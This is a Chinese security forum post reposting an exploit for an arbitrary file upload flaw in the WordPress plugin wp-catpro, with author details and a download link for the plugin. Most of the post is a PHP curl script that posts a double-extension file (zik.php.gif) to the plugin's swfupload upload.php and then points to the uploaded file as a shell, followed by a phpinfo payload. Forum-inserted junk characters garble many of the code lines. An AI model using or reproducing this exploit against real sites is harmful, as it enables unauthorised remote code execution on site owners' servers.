找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1956|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
9 o( V0 V, b" j; O) J9 [8 U# y' m#-----------------------------------------------------------------------
; c; c% j3 L- k/ j# M
7 [8 n9 m+ \5 k; R! p作者  => Zikou-16. Z& [& U3 @& k
邮箱 => zikou16x@gmail.com
* T4 E+ Z0 U* G测试系统 : Windows 7 , Backtrack 5r3
3 G! r( E$ s+ y4 {9 T  ?  p下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip  N3 M9 q# c7 n
####* M& G- b2 j( B- a0 ~
8 I4 c8 ^0 X" v! X8 Z& x
#=> Exploit 信息:% ^& w  V" l5 @- ?
------------------7 r7 m- [5 O+ \# D# x) G
# 攻击者可以上传 file/shell.php.gif8 }3 K- L0 D4 D% }6 t' x
# ("jpg", "gif", "png")  // Allowed file extensions2 J$ Y; p/ c0 t
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)* @' q; b% y4 G7 a( n4 E
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)8 v4 W% a: s4 Q, S/ D3 q5 J" r9 `
------------------) v) B% S! n" a6 X, ~6 T% o  J
$ w3 }, U5 H% c' L6 L- K4 A
#=> Exploit
! x% e; J+ b2 m7 M% T$ I-----------
% ]- r0 ]. H& n$ }( {<?php/ M5 N8 i0 f% ~. b4 B* t
7 c# a" d% K3 N' g7 O
$uploadfile="zik.php.gif";
; E& c* o" Q9 |$ K7 `# y$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");$ M2 D7 r# F0 U; {% h
curl_setopt($ch, CURLOPT_POST, true);5 ~. {* M# f) M5 y+ {
curl_setopt($ch, CURLOPT_POSTFIELDS,. k* d6 Z5 j5 O; Q
array('Filedata'=>"@$uploadfile"," s) z& \- }9 ]& ^$ j3 T8 D
'folder'=>'/wp-content/uploads/catpro/'));
; Q1 r. P, ?" w" Q& J5 [curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
! ?/ R5 Q. [7 S0 U! y' i$postResult = curl_exec($ch);. \+ {$ m* l' O7 h6 h3 y( ]
curl_close($ch);
* T4 V: r. p$ n: I6 | 5 h' C( E4 S# R4 @+ k5 {7 X9 [* `
print "$postResult";# h4 B/ j  C  e% I
& @: f- {9 j, U) i4 z
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif2 [4 g: u* ?+ x2 Y0 M
  ?>; @9 ]4 M) p7 ^- q# o" F
<?php2 l( T8 f9 v* N- Z3 ~
phpinfo();6 o4 |' D* X  O9 y: i
?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表